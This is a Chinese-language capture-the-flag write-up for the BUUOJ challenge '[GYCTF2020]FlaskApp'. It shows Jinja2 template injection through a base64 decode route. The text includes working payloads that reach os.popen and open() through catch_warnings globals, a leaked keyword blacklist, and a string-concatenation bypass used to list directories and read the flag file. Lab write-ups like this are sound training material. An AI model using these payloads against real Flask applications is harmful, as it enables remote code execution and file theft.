[GYCTF2020]FlaskApp
作者:Hopeace
靶场地址:https://buuoj.cn/challenges#[GYCTF2020]FlaskApp
知识点:Flask模板注入
0x01 浏览题目
题目名字已经明示了这题和Flask模板注入脱不了干系
base64加解密
一个输入框
源代码中有一句比较可疑:这是消息闪现
抓包看一下
没什么异常
session不知道可不可以利用
加密抓个包了解一下,测试原文为123
POST / HTTP/1.1
Host: 9b66f78b-1090-4160-bc8d-1b95461d78a6.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://9b66f78b-1090-4160-bc8d-1b95461d78a6.node4.buuoj.cn:81/
Cookie: session=eyJjc3JmX3Rva2VuIjoiZDY0YWM0YzJhMzQ4MjFiOGNiMDNkODVjZGQ5ODFlOGQwMWQxMTczNCJ9.YWJFyQ.iBI0jbC7eFin1PLn1jVbVO9Sl7w
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
csrf_token=ImQ2NGFjNGMyYTM0ODIxYjhjYjAzZDg1Y2RkOTgxZThkMDFkMTE3MzQi.YWJGIw.b-kRYWBQvycl1X_Fi0dj0CAQdNM&text=123&submit=%E6%8F%90%E4%BA%A4
0x02 分析题目
hint给的是“失败是成功之母”,提示是flask框架下的debug模式
SSTI测试{{7*7}}
加密的窗口生成的base64 并没有计算出49,仍未{{7*7}}的加密形式
而解密的窗口直接报错
是因为base64decode解析错误时会报错
借此查看到部分源码
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
{{7*7}}加密后e3s3Kjd9fQ==
放到解密框里回显了no no no !!
说明7*7确实被执行了
现在找一下waf函数
又测试了一下
{{7+7}}加密后e3s3Kzd9fQ==
回显了14
好奇怪
0x03 SSTI 测试
// 查看根目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
被waf检测了,回显nonono
// 读源码去找waf函数
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
找到了这段代码
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
应该是过滤了
flag, os, system, popen, import,eval, chr, request, subprocess, commands, socket, hex, base64, * , ?
也解释了7*7被过滤
过滤的都是整个的词,而不是正则匹配,是可以通过字符串拼接绕过的
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
回显了目录
['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app']
找到了flag的目录
this_is_the_flag.txt
同样对flag进行拼接
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
得到结果flag{dda153d6-c7cb-4106-9fd2-a9f3e740ba1a}